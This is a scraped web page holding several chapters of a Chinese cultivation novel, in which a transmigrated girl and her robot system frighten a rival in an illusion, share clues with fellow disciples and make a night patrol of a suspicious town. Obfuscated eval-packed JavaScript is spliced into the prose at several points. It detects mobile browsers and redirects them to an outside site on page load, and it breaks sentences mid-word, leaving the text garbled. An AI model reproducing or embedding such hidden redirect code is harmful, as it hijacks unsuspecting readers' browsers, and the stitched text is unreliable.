;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280559|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼睛都不敢睁太开。 你好歹看看清楚再打啊! 艰难抵挡的莫沉云气得头晕。 面前是凶悍女鬼,身后是疯狂祝雨。嚎叫和尖叫在耳边立体循环,被刮蹭得如风中残柳般左摇右摆的莫沉云最后依靠仅剩的理性扔掉祝雨手上吉他,拉着她开始逃跑。 而这份强撑的理性,很快也在一个手持电锯满身是血的彪形大汉迎面走来时消失殆尽。 一切场景在此刻犹如慢放。 莫沉云拉着祝雨向后转,一颗头三百六十度不间断旋转的女鬼四肢并用朝他们极速爬来。 莫沉云带着祝雨向前再转,彪形大汉就拉响电锯,大跨步助跑后朝他们冲。 莫沉云最后和祝雨一起逃进房间。 然而前脚门关紧,后脚一柄斧子就几下把门从正中劈开个洞。 与门上洞里探来的男人对上视线,看着满脸是血的男人紧缩瞳孔露出狞笑,莫沉云终于发出了比身旁祝雨更凄厉高亢的尖叫。 下一秒,他两眼翻白,就此晕了过去。 也就在他彻底失去意识的刹那,女鬼、大汉、男人,祝雨……一切都消失无踪,空间黑暗下去。 而距离莫沉云一玻璃墙之隔的地方,202傻在空中,沙发里正往嘴里塞爆米花的祝昭昭,动作也停在半路。 目瞪口呆的视线齐齐停在如烂泥般软在地上的莫沉云身上,目睹全程的一人一机:哇哦。 精彩。 从容地将爆米花吃掉,意犹未尽的祝昭昭对此次幻境之旅作出最后总结:“这比电影有意思多了。” 玻璃墙在202的操作下缩回地面,祝昭昭拍拍手,几步走到莫沉云面前蹲下。 扯扯莫沉云头发,她语气平直:“确认晕了吗?” “那肯定啊。”202快乐地在莫沉云脑袋上绕圈,“最后尖叫那会儿他心率都飙到一百九了,肯定晕得透透的。” 闻言‘嚯’了一声,祝昭昭掀莫沉云眼皮:“所以从植入物生效开始,他就无法再识别我们设置的幻境。” 202:“对。” “藉此屏蔽他的一部分感知,也是绝对没问题的。” “对。” “那么……”祝昭昭若有所思,“有没有其他限制?” “毕竟说到底他也是化神,对幻境的造诣只深不浅,保不准就会发现端倪,再在紧要关头将我们一军。” “我们要尽可能预防这种事情的发生。” “主人你这么说的话……”202想了想,“那确实有地方需要注意。” “因为虽然植入物的效果不会有问题,但就像主人你说的那样,植入者能力的影响也至关重要。” “所以我可以给你一个最稳妥的范围。” 202额间投影落在祝昭昭面前:“在他明显分神或体力和精神力大幅下降的时候,植入物的屏蔽功能是一定不会被发现的。” “这样。”祝昭昭垂眸。 深吸口气把莫沉云脑袋推正过来,祝昭昭手指戳地他头一晃一晃:“看着那么厉害,又是提取记忆又是按场景需要变换形象,结果最后叫得比我的投影还大声。” “就这水平还想当神救人呢?” 看着把莫沉云脑袋当玩具的祝昭昭,202汗流浃背。 不是,主人你有没有想过不是人家水平有问题,而是你招数太多啊? 你拿女鬼和杀人狂吓唬一个修仙位面的人,还把人家自卫手段弄没了,换谁谁不怕啊? 那电锯拉响什么声你不知道吗? 202:主人好像对她的杀伤力一无所知。 “好了。”最后一拍大腿站起来,祝昭昭重新走到沙发处窝进去,“洗掉他的记忆后把他扔出去,再根据我之前吃灵果进入幻境产生的相关数据,把神经毒素的解药弄出来。” “今天这事就算结束。” 话落打了个哈欠,祝昭昭起身离开精神空间。 “累死了,睡觉。” 77. “昭昭,来点吃的。” “距上回齐聚已有七日。” 目光在桌前梭巡一圈,慕行秋继续道:“各自在洛水探查的这些时日,大家是否查到些值得注意的事?” “大师兄大师兄,什么是‘值得注意的事’?” 云珈话听不明白,态度倒是相当积极:“我和月书师姐还有映雪师姐这段时间遇见了很多事,要挑着说的。” “你要给个具体的说法。” 闻言微微颔首,慕行秋很有耐心:“与我们这次来洛水镇有关的事。” 云珈‘哦’了一声:“那当然有啦。” 她看向白月书:“月书师姐,要不你来说吧?” 正和秦之衡说悄悄话的白月书抬头:“好。” “这几日我与云珈和映雪都在碧波潭和周围几个修士常去的地方活动,发现他们的修炼方式并无问题。” 没问题么。 祝昭昭用肩膀顶了顶云珈,得到她的飞快点头。 “但他们反复提过一个词——” “神。” 白月书垂眸:“他们说,是神一直在梦里教导他们如何修炼。” 她没提周定的事:“我们在那些地方待了几日与他们混熟后,曾旁敲侧击试探他们,最后有人说要给我们演示。” “演示神是如何教导他们修炼的。” 慕行秋被她的话提起兴趣:“如此。” “那么之后呢?” “之后他们也的确演示了。”白月书这么说着,却皱起眉头,“但演示时的修炼法门,与他们往常修炼的无异。” 语毕,场间或不解或怀疑的目光,顿时全部落在白月书身上。 云珈和贺稚雪见状,连忙齐齐点头作证。 “那会不会是他们最后关口藏私,”钟安林问,“故意这么做呢?” “不太可能。” 这次说话的是贺稚雪:“因为当他们演示结束后,被我们点出问题时脸上的惊讶不似作假。” 云珈也应和:“而且他演示失败后旁边有人在笑,说失败才是正常的,因为……” 她努力回忆:“因为他们说……神的提点当然只能深藏于心,轻易不会被人看见。” 众人因此话哗然的当口,祝昭昭却一手托腮,落在桌上的目光因散漫而失焦。 能被人看到就怪了,教学的都跟光明磊落没关系。 而且不出意外的话,在洛水是外人不能看,出了洛水就是直接失忆吧。 祝昭昭指腹轻叩桌面。 但确实有点可疑。 还是要找个机会查下原因。 打定主意,她回神。 安静的空气也在此时,被陈青出声打破:“所以这话的意思是,那个什么神的教导只能自己练,不能给别人看?” “应该便是。” 慕行秋两手交叠,视线再度轮转一圈:“那么,其他人还有别的见闻么?” “有。”陈青摇摇折扇,开始说自己查到的问题。 祝昭昭表面听得认真,实则心里另有所想。 也不是什么大问题,就是不知道有意还是无意,她总觉得慕行秋环视的时候,落在自己这的目光尤其久? 细说的话不只是刚才,第一次好像也…… 越想越觉得不对劲,祝昭昭眼珠一转,下意识看向慕行秋。 紧接着下一秒,就和他对上了目光。 怎么这么快?! 祝昭昭惊得心里一个咯噔,慕行秋则像是知道什么般,脸上笑意变得更深。 笑个头啊! 刚被人回放了一次你杀我的vcr你知道吗?! 恨不得当场跳起来给慕行秋一拳,祝昭昭最后选择移开视线,专心听陈青说话—— “……且说到神,我这段时间也听到见到了些相关的事。” 敲敲桌子,陈青朝祝昭昭抬抬下巴:“昭昭,来点喝的。” 祝昭昭听得一阵无语。 自从慕行秋明令禁止众人碰洛水镇的东西,上次她又投喂了云珈等队伍内的妹子们后…… 剩下的雄/性/生物嘴一闲得无聊就来找她。 而因为投喂云珈等人在前,证据确凿的情况下,她也就不好说没存货。 毕竟之后还要继续投喂师姐师妹们呢,把话说死不行。 于是她只能在其他人开口的时候就给点。 岂料这帮人越来越过分,这几天已经快速进阶到动不动就招呼她的地步。 她是百货商店吗?! 百货商店还要付钱呢,有人给她灵石了吗?! 到底还有没有人记得她只是一个小师妹啊?! 都来找师妹要吃的喝的,你们这一大帮师兄好意思吗?! 祝昭昭:指指点点·jpg 最后还是翻着白眼从空间袋摸了瓶灵酿递过去,祝昭昭盯了他一眼后随口问:“什么相关的事,是他们在拜神吗?” “你怎么知道?” 陈青意外。 祝昭昭笑而不语。 废话,我知道的肯定比你想象得多。 只看想不想说而已。 思忖着,她常规敷衍:“因为镇上有神,他们又那么尊敬神的话,拜神很正常啊。” “我原来的家里就有拜神的习惯呢。” 闻言不疑有他,陈青颔首:“这么一说确实,凡间是有拜神的传统不假。” 打开灵酿给自己倒了杯,他回归正题:“镇民拜神我可以理解,毕竟正如你所说,凡间向来有拜神的习惯。” “但我那日竟然看见有修士也在拜。” 想来这事确实有点超出陈青认知,他脸色略微难看:“若是无门无派的散修拜了,我只当他对洛水心怀感激。” “可我连着几日去看,都看到有门派的弟子在拜。哪怕不拜的,也围在旁边,态度尊敬。” 陈青喝了口灵酿:“虽然人数不多,但有门派的弟子去拜洛水的神这事已经足够诡异。” “换作是你们,你们会去拜一个凡间镇子供奉的神么?” 没有半点犹豫,所有人都摇头。 陈青合拢折扇,在掌间重重一拍:“没错。各门各派自有开宗立派的尊者,随意去拜其他神像,是想将宗门内的尊者置于何地?” “所以这些人究竟怎么了?” 没人回答。 就在这时,一旁沉默许久的秦之衡像是突然想起什么:“我有一个问题。” 慕行秋:“说。” “这些镇民和修士口口声声说尊敬神。” 秦之衡皱眉:“但你们谁见过神的样子?” 空气再度安静下来。 许久,白月书斟酌出声:“的确……虽然他们敬神爱神不假,但他们好像没有神塑。” “连画像都没有。”秦之衡凑到白月书身边补充。 一下拍在秦之衡侧脸把他推开,面无表情的白月书目不转睛:“所以是神不愿意露面?” “就像它的教导除了本人,其他人都看不了。” 此话一出,众人纷纷露出赞同之色。 唯独知道真相的祝昭昭:不不不,只是因为他从来不用固定面目见人。 洛水这帮人因此塑不出固定造型的泥像而已。 她神游的当口,耳边响起钟安林的声音—— “不过……不管这个什么神愿不愿意露面,但有一个时候我们必定能见到。” “必定见到?” 慕行秋挑眉:“钟师弟你为何如此笃定?” “为什么笃定暂且不提,我先问大家一个问题。” 钟安林突然开始卖关子:“你们有没有见过洛水镇的月亮?” 众人一时都被他这没头没尾的问题问得愣住。 但有人很快反应过来。 上官修满脸不耐烦:“看没看过洛水镇的月亮?你问这问题有用吗?” 贺稚雪倒是认真回答了钟安林:“见过吧。” 很高兴有人回答自己,钟安林兴致勃勃地反问:“什么时辰的月亮?” 贺稚雪略微迟疑:“……酉时?” 钟安林立刻:“那么酉时之后呢?” 众人沉默。 夜间根本没人出去,况且抵抗诡异梦境已经够让人焦头烂额—— 谁会闲着没事,去看什么酉时之后的月亮? 当然很清楚这点,慕行秋适时出声:“钟师弟,有话直说即可。” “好。” 轻咳两声以缓解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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收到示意的刘统立刻:“我与上官师兄在调查时发现,刚采摘下的灵果与镇中众人食用的灵果,并不一样。” 白月书皱眉:“不一样是指?” “指刚采摘的灵果,是没有那些神奇效力的。” 脸上写满‘什么都不知道,你们这些人到底还知道什么’,上官修没好声气地:“需要经过神赐才会起效。” “什么神赐不神赐的。” 他话音刚落,云珈就‘嘶’一声:“又是神祀又是神赐,神来神去还根本见不到影子,这个神真的存在吗?” “该不会是那些镇民和修士出现幻觉了吧?” “幻不幻觉暂且不提,”上官修冷冷盯着她,“但没人教过你,要等别人说完再接话吗?” 自知理亏的云珈梗着脖子闷回去,看得一阵好笑的祝昭昭拍拍她肩膀,拿饴糖哄她。 边哄边问:“既然上官师兄能探查到灵果需要神赐这种事,想必也知道这个‘神赐’——” “究竟指什么吧?” 出乎预料的,上官修原本傲气不耐的神情一滞:“据镇民的说法,神赐之地绝不允许外人踏足,除了镇长和大家族的族长……” “没人再知道。” 祝昭昭并不意外这个回答。 她颔首:“原来如此。” 也许是觉得这种回答显得自己无能,想了想,上官修补充:“不过与我们交谈的镇民说的一句话有些奇怪。” 祝昭昭随口:“什么话?” “他说……”上官修停了一下,像是在想怎么说合适,“他说‘就算被人知道也不怕,因为没人找得到那地方’。” 他敲敲桌子:“这话还是他看在我与他的修士友人关系不错的份上,才愿意说给我听的。” 没人找得到? 选择性遗忘上官修的最后一句炫耀,祝昭昭沉吟。 她突然想到第一次探查时候发生的事。 两者之间会有联系吗? 神思正发散,她耳边突然响起慕行秋的声音。 “大家听得太认真,倒是都忘了昭昭师妹。” “师妹最近又探查到了什么消息?” 和慢慢扭动脖颈朝自己看来的祝昭昭对上视线,慕行秋唇角微弯。 “可以说给我们听听么?” 78. 你确定要验收我的工作成果? 感受到瞬间聚集在自己身上的目光,祝昭昭顿时汗流浃背。 别看了好吗,她没什么好说的! 这段时间光是找魔族通道一事已经耗费掉她大量精力,加上前两天处理幻境主人的事…… 她一个人怎么可能顾得了那么多! 当然想顾也不是不行…… 但是要加钱好吗?! 祝昭昭:指指点点·jpg 拿起茶杯假模假样地喝了一口缓解尴尬,祝昭昭用白月书和云珈当挡箭牌:“……我是与月书师姐还有云珈一起行动的,她们说的就是我知道的。” “是么。” 脸上笑意忽然多了些意味深长,慕行秋不紧不慢:“昭昭师妹难道不是前两日,才与月书和云师妹共同行动的么?” “之前单独行动时又都了解到了什么?” “不能说说吗?” 惨遭拆台的祝昭昭:…… 不是,这人那么关注她的原因到底是什么? 他没有自己的事干吗? 还是说作为领队,他的职责里还包括盯着所有人,验收所有人的产出? 这么积极有人给他加工资吗? 祝昭昭:鼓掌,咋舌,叹为观止。 但好像不对啊,秦之衡也没说什么有用的,怎么不去问他? 想找有用的信息要重点关注男女主不知道? 光盯着她一个NPC干什么? 恍惚间,祝昭昭感觉自己回到了刚进三部门,天天被小组长盯梢监工的日子。 祝昭昭:要不还是现在就把这人宰了吧(确信。 而且该说不说,她查到的东西目前根本不能说出来,加上她完全不想遂慕行秋的意…… 大脑极速闪回后,祝昭昭死鱼眼看向他—— “什么事都可以说?” 脸上写满兴味盎然的慕行秋:“什么事都可以说。” 好吧。 那这可是你自找的。 深吸一口气,祝昭昭面无表情:“五天前,你路过镇东头王大婶家时被她相中……” “王大婶坚决要把她的孙女许配给你。” 刘统张大嘴,钟安林手里的杯子掉在桌上。 只当没看见,祝昭昭面不改色地继续:“你婉拒了她,但她对你穷追不舍,甚至为此放弃和其他大婶闲聊,天天追着你跑。” “你不堪其扰,最后再没去过镇东头,碰见王大婶就隐匿身形。” 她话落下,场间也陷入死一般的寂静。 白月书和秦之衡当场瞳孔地震。 出现了! 昭昭师妹从不轻易示人的手段! 吓得夙禾大半年不敢回宗的最强绝招! 随机泄密! 可这回被攻击的对象竟然是慕师兄! 秦之衡和白月书视线慌乱地扫,果然见到贺稚雪和陈青两人同样一副被震撼到呆滞的模样。 倒不是慕行秋被人说媒这事太离谱,而是以他们对慕行秋的熟悉程度,当然再清楚不过慕行秋是如何‘教育’不听话的师弟妹的。 而且初入洛水镇时,上官修被修理的场景还历历在目…… 四人看向祝昭昭的眼神里渐渐多了怜悯。 没事昭昭,就冲你这几天的投喂,师兄师姐们待会儿都一定会——! 一定会悄悄安慰你。 眼尾余光瞄见已经被吓得魂不附体的白月书等人,大概知道了自己刚才那番话会引起什么效果的祝昭昭很满意。 叫你没事乱问还不给人台阶下。 她笑眯眯地望着慕行秋,很期待他会给出什么反应。 慕行秋也确实很快回答了她。 他意味深长:“这就是昭昭师妹你这些日子的观察。” 祝昭昭头点得理直气壮:“没错。” 慕行秋很有耐心:“那么你如何得知?” 祝昭昭敢说,就想好了怎么解释:“我遇见王大婶了。” 她赌慕行秋不会去找王大婶确认:“她知道我们是一起的,那天抓住我问了半天你的踪迹,最后把事情全跟我说了。” “原来如此。”慕行秋颔首。 祝昭昭一脸无辜地阴阳:“是啊,可惜那天因为这事,让我没去成计划好的地方呢。” “但我相信王大婶也是找人心切,不是故意的。” 很清楚祝昭昭言下之意,慕行秋微笑。 见状开始在心底为自己这次争辩的大胜得意,然而很快,祝昭昭听到慕行秋闲聊般地—— “不过昭昭师妹倒是提醒了我。” “下次再有此种情况发生,我便可说同行的舍妹尚小,暂不考虑婚配。” “倘若有人问舍妹是谁……” 慕行秋并不指名道姓,似笑非笑的目光却定定落在祝昭昭身上。 威胁意味十足。 祝昭昭当时就坐不住了。 什么意思? 想祸水东引? 把我拉过去给你挡火力? 好歹也是堂堂剑宗大师兄的人了,竟然干这种事?! 无耻! 想回嘴,又怕慕行秋等会儿被惹毛了真把自己拉下水,祝昭昭最后只能用眼神表达自己的不忿。 接着清楚地目睹了慕行秋眼底浮起揶揄笑意的全过程。 她更生气了。 笑个屁啊! 好在还有白月书、云珈和贺稚雪来跟她说话,否则她真有可能下一秒就给慕行秋一顿揍,揍完再给他来个大记忆消失术。 还有就是不知道为什么,除了云珈以外,其余两个人表情都怪怪的,有点像活见鬼。 思忖着,祝昭昭下意识环视一圈。 好吧,她收回前言。怪的不止白月书和贺稚雪,秦之衡和陈青脸色还要更精彩点。 所以这帮人到底怎么了! 祝昭昭:不理解并且不太想尊重。 目光从祝昭昭处收回,慕行秋淡声:“大家还有别的事要说么?” 众人摇头。 “按现有消息来看,灵果和神祀之时两件事,与弟子暴毙相对较为有关系。” “既然如此,我们之后的调查,便重点向这两件事。” 他指尖轻扣桌面:“大家意下如何?” 众人依旧没有异议。 “那么。” 慕行秋微一颔首:“今日便暂且到此。” 话落他率先起身,其余人很快也纷纷跟随。 祝昭昭同样照做。 她本想以最快的速度溜之大吉。 然而一片桌椅板凳碰撞出的响声里,她忽然隐约听到刘统半感叹半抱怨的声音—— “我昨天路过一个农户家,看见那人在给灵果洒水,果子红彤彤的漂亮得不得了。总说灵果有异灵果有异,可我也没看出这镇子里谁吃灵果吃出毛病啊。” “要是能尝尝多好……” 他最后一句话出口的瞬间,祝昭昭怔。 循声扭头时,刘统已经跟着上官修离开。望着他越走越远的身影,祝昭昭一颗心渐渐沉下去。 * 关上房门,祝昭昭站在原地许久。 片刻后,她在脑海里问:“刚才刘统的话你听清没有。” 正在看着肥皂剧呜呜哭的202:“什么?” 祝昭昭一言不发地调出电击键。 立刻关了投影,202满脸正色:“听到了,那个男的说他想尝尝灵果。” “这是非常不好的信号。”祝昭昭皱眉,“虽然慕行秋尽可能提供了防范方法,其他人也都认真在执行,但依旧没有挡住洛水镇的侵蚀和同化。” “如果队伍里修为最低的刘统已经出现这种情况……” 祝昭昭眸光沉沉:“那么离其他人被洛水同化,应该不会远了。” 202显然也意识到了问题的严重性:“那怎么办啊主人,要是他们都被同化了,就你和大反派两个人还能完成任务吗?” 一脸‘你在说啥’的表情,祝昭昭斜眼看202:“不能。” 202:…… 能不能配合下说点客气话啊? “而且我的任务本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280561|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就只有我一个人做,跟慕行秋有半毛钱关系?” 几步走到桌旁坐下,祝昭昭翻起一个茶杯:“算了。” “灵果的解药做出来没有。” “没那么快,主人。”202调出资料,“但已经在测试阶段了。” 祝昭昭脸色不太好看。 她并不意外解药还没做出来。 可刘统的表现证明,他们已经没有太多等待的时间—— 就像202刚才说的,洛水镇的问题之复杂,处理不可能只靠她和慕行秋。 越多人清醒,对他们才越有利。 但合成解药一事又确实急不来…… 无意识失焦的视线收回,祝昭昭最后还是只能先将此事搁置:“刚刚他们说的那些信息,你听到多少。” “全部听完了。”202不敢再胡闹,“尤其那个什么神祀之时,该不会就是为了供奉那个人吧?” 听出202话里嫌弃,祝昭昭一阵好笑:“是的,就是为了供奉他。” 耳边仿佛又回响起莫沉云凄厉的尖叫,一人一机沉默。 距离感果然是保持形象的最佳手段。 “算了,”祝昭昭清清嗓子,“比起这个,上官修刚才提到的事要更可疑得多。” “上官修?”202很快想起来,“他是说灵果需要供奉才有用来着对吧?” 祝昭昭打了个响指:“对。但最奇怪的不是灵果需要供奉这件事。” 202不解:“那是?” “是供奉灵果的具体位置这事。” “那有什么好奇怪的。”202闪现在祝昭昭身旁,“灵果是对洛水镇来说很重要的东西,供奉地点只有镇长和大家族的族长清楚,不是很正常吗?” 一手托腮,祝昭昭心不在焉地敲杯沿:“我知道。” “那?” “我在意的,是他最后那句‘没人再知道’。” 祝昭昭沉吟:“正常来说不论如何,一条路只要走动就必定会留下痕迹。可以说知道的人少,但‘没人再知道’究竟怎么做到?” “也许是他们知道,但是为了保密故意不说。”202尝试解释,“又或者路太复杂,他们也说不清呢?” “确实也有你说的那种情况,”祝昭昭并不反驳,“不过我倒是觉得,也许有另一种可能。” 202愣了下:“什么可能?” 祝昭昭垂眸:“你还记得我们刚开始探路那会儿发生的事吗?” “主人你指的是农具消失那件事?” 无意识地把玩起茶杯,祝昭昭答:“没错。” “如果有心藏地址,又或者记不清路,镇民们大可以含糊其辞地掩饰,或者直接说洛水重地不可告知。何必要说‘再没人知道’这种绝对又可疑的话。” “所以我更倾向于他们没说谎,除了镇长和族长,供奉灵果的地点还真就没人知道。” “同理的还有修炼。”祝昭昭话不停,“贺稚雪的观察结论是对的,那些修士不是藏私不想把修炼过程公布,而是真的复制不了莫沉云教他们的修炼方法。” 似懂非懂地点头,202又问:“那莫沉云为什么要那么做?是怕被人发现,还是怕修士们互相交流修炼心得?” “应该都有。” 祝昭昭答:“没人看到等于没人知道,莫沉云不让修士随意复制他的修炼方法,正好可以防止还没被洛水同化的修士看出问题,再跑出去报信。” “而白天修炼方式没问题,离开洛水的人又不可能无缘无故暴毙。加上钟安林说的那个,月亮会异于平常的神祀之时……” 一人一机不约而同地对上视线。 最后,祝昭昭开口:“我们……有没有晚上出去过?” “如果主人你对‘晚上出去’的定义,包括在精神空间里活动,”202语气斟酌,“那应该是出去过。” 祝昭昭:“……” 202:“……” 重新把茶杯扣回茶盘,祝昭昭起身;“赶早不如赶巧。” “我们今晚就出去看看。” 79. “我保证绝对没人醒着!” 因为慕行秋的嘱咐在前,进入洛水这段日子所有人一到就寝时间就会自觉在房中封闭五感入定,直到早上才会醒来。 这方法虽然抵御幻境同化的效果堪忧,但方便祝昭昭晚上悄悄溜出门,倒是毋庸置疑。 子时,定好夜探计划后就回床上养精蓄锐的祝昭昭被202叫醒。 “确认其他人都入定了么。”祝昭昭靠在床边,一双无神眼睛在漆黑空间里呆呆地盯着某处,“尤其是慕行秋,那家伙修为高,稍微有点异常都会被他察觉。” “如果被他发现会很麻烦。” “主人你放心。”202绕着祝昭昭飞来飞去,“他们亥时初就已经全部入定,大反派甚至是最早入定的那个呢!” “为了让主人你更好的执行任务,叫你起来前我就重新查看过一遍所有人。”202信誓旦旦,“我用我S+的业务水平向主人你保证,他们绝对全部已经入定。” 它重点强调:“包括大反派。” 闻言不置可否,还没怎么清醒的祝昭昭习惯性准备瘫会儿再起来。 然而自带光边的202像只苍蝇一样在她周围转来转去,荧绿色的光在黑暗里划出一道道乍眼无比的光弧。 偏偏它还完全不知道自己此刻的存在感有多强,渐渐越飞越起劲,让目光无意识跟随它行动轨迹乱转的祝昭昭眼珠子都差点转到后脑勺去。 忍无可忍的祝昭昭最后一把薅住它。 死鱼眼盯着202,她一字一句:“你要么把光边关了,要么就给我乖乖停好,别乱动。” 被看得瑟瑟发抖的202:“好的主人,知道了主人。” 面无表情地松开202,彻底清醒过来的祝昭昭随手点燃桌上烛火。 烛火很快将房间映亮,不紧不慢地收拾好换好衣服后,她轻手轻脚打开门。 202对祝昭昭小心翼翼的姿态表示不解:“主人,我不是告诉你他们都入定了嘛,你干嘛还这样?” “你踮着脚悄悄关门的样子还挺像做贼的。” 做贼??! 一口气险些上不来的祝昭昭差点直接给202头顶来两下:“你说谁像贼?!” 她越想越窝火,脑内传音的音量也越来越大。“你知不知道我对面住的是谁?你知不知道等会儿被他发现我人不在了会有多麻烦?出毛病了你给我善后?” “你完全不知道什么叫防患于未然是不是?” 被骂得差点宕机,202几乎是立刻投降:“主人我错了,是我考虑失当乱说话。” 祝昭昭面色稍霁。 202义正辞严地继续:“所以作为补救,我可以现在就帮主人您投影出伪装,为您解决容易暴露的担忧。” 难得见202那么上道,祝昭昭也来了精神:“行啊,那你准备把我投影成什么?” “石头。” 202眼神坚定。 祝昭昭白眼一翻,转身就走。 慌得一批的202连忙去追:“等等别走啊主人,有手有脚的石头真的超级酷的,主人你真的可以试试,绝对不是我想看!主人等等,你等等我啊……!” * 等202好不容易追上祝昭昭脚步的时候,一人一机已经走出客栈。 客栈门口,屋檐下两盏灯笼静静亮着。烛火透过大红的灯笼纸落在地面,将照得到的和照不到的地界分得泾渭分明。 飞虫绕着灯笼的影子被投射到地面,望着远处伸手不见五指的黑暗,202吓得直往祝昭昭身边挤:“主人,这,这地方怎么这么黑啊?” “我有点害怕。” 害怕…… 祝昭昭闭眼深呼吸:“我不知道你一个最近才装了顶级夜视功能的机器人到底在害怕什么。” “我是说主人你怕。” 202瞬间变脸,平静且坚定地盯着祝昭昭:“但没关系主人,202会保护你。” 斜了眼稳稳贴在肩膀旁的202,祝昭昭只回了一个字。 “滚。” 202装作没听见:“主人,我感觉有点不对。” 指尖凝出灵力点上双眼,很快看清周围的祝昭昭随口答:“哪里不对。” “主人你是真不知道还是装不知道?”202震惊,“我知道这种位面没有太多照明手段,晚上没灯照的地方是真黑。” “可人呢?!” 202看看客栈又看看外边:“人都去哪了?” 它嘴不停:“再怎么说洛水镇也算是大镇,那么大一个镇子竟然能做到一个活动的人都没有吗??” 面不改色的祝昭昭:“他们熄灯睡觉了。” 202:“……?” 随手揪下客栈门边树的叶子,祝昭昭斜倚在门边:“不过这座客栈位置本来就比较偏,子时没人从门口经过其实也算正常。” 似懂非懂点点头,202‘哦’了一声。刚想说点什么,紧接着就听祝昭昭继续道—— “但柜台那边居然没有小二看店,这就很奇怪。” 想说的话顿时咽了回去,202无语凝噎。 主人,到底谁教你说话大喘气的。 才懒得管202想什么,祝昭昭直起身子:“算了,还是要出去看看才行。” 说完不再犹豫,她大步踏进夜色中。 天然的黑暗对修士来说构不成障碍,祝昭昭一路边走边看,丝毫没有被影响。 为了防止可能出现的异常情况,她顺便让202开启了随行记录功能。 却一直没有用上。 调试着投射出来的光幕,202问:“主人,我们已经走过多少个地方了啊?” 绕了碧波潭一圈后在入口站定,祝昭昭脸色不太好看:“……五个。” “这镇子一共也就几个人员聚集比较多的地点啊?”202顿时泄了气,“我们已经走完了吧?” 它盯着光幕嚷嚷:“这什么问题都没有啊?我看着比早上人多的时候还正常呢。” “你看这几个男的,”202语气隐约有些嫌弃,“到底是在修炼还是睡觉啊,都打呼噜了。” 循着它的话垂眸看向地上的男人,祝昭昭抿唇。 202说得是对的,洛水镇内满打满算,一共也就八个人流量相对较大的地点,而自己和它已经走过了五个。 哪怕剩下三个地点还等着她去查看,但有这五个地点的查看结果在前,剩下三个…… 眉头渐渐皱起,祝昭昭以最快的速度将剩下三个地点走了一遍。 也确实得到了如同她先前预判的结果。 回客栈的路上,一人一机沉默着,谁都没有说话。 直到祝昭昭忽然开口:“202,现在几点。” “三点半。”202答得很快,“主人,你怎么不问我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“所以究竟是哪里出了问题。” 她恢复正色,若有所思:“如果现在的一切是莫沉云的幻境,我们必定会察觉。但从头到尾,我没感觉到什么不对劲的地方。” 祝昭昭问202:“你呢?” “我也没有。”202整颗球转来转去,“监控莫沉云的系统在我这里,一旦有问题,我只会比主人你发现得更快。” 空气再度安静下来。 客栈的轮廓就在一人一机的沉默里渐渐出现在祝昭昭视线中。 强撑着的精神在望见客栈那刻松懈下来,此刻的她只想先回床上好好睡一觉。 然而随着离客栈越来越近,祝昭昭忽然在本该空空如也的门口看见一道颀长身影。 是慕行秋。 一身白衣整齐,他斜倚在门边,本该正好与脚踝齐平的衣摆便险险要触上尘土。 月色里,灯笼下,他的影子在地面被拉长,像是先他一步靠近了祝昭昭。 踩上影子之前,祝昭昭停住脚步。 她看着慕行秋。 慕行秋亦回望她。 时间仿佛在这一刻无限慢放,直到有风忽然吹过,慕行秋原本平静的双眼微弯起来。 声音也带了笑:“发现什么了么。” “昭昭师妹?” 80. 交换情报 祝昭昭没有回答。 而她身上瞬间爆发出杀意的时候,202瞳孔地震,仿佛已经看到了回收部的1067在向自己招手。 等等前辈! 它还有好多插件没来得及装呢! 它暂时不想回炉啊! 202含恨怒瞪慕行秋。 这个大反派怎么回事啊,明明扫描的时候不是已经入定……? 是这么叫的吧? 不是已经入定了吗? 为什么这会儿竟然站在大门口啊?! 你蹲谁呢?? 给系统添麻烦了知道吗?! 好不懂事一大反派! 短暂而窒息的死寂过后,202突然爽朗大笑起来:“啊哈哈哈,大反派怎么还有夜醒这么不好的习惯呢,实在是太不凑巧了。” 然后下一秒,再也绷不住了:“主人你听我解释……” 一个眼神都没给它,祝昭昭直接用电击代替回答。 从精神空间出来,她带了点‘我就出去了,你能拿我怎么着吧’的破罐破摔意思,随意耸了耸肩:“什么都没发现。” 慕行秋望着她。 又是这个反应。 又是这个不耐烦且不客气的反应。 明明在其他人面前都那么乖巧。 为什么唯独在面对他的时候,总是那么没有耐心呢? 他可不可以认为…… 这也算得上是一种特别对待? 看着不远处的少女紧紧抿着唇,一副吝于与自己多言的模样,慕行秋有些漫无目的地想。 散漫的思绪在少女皱起黛眉时回拢,他低下头,轻笑出声。 像是碰见什么有趣的事:“我本以为昭昭师妹几乎绕遍洛水,应该大有收获才是。” “原来竟什么都没发现么。” 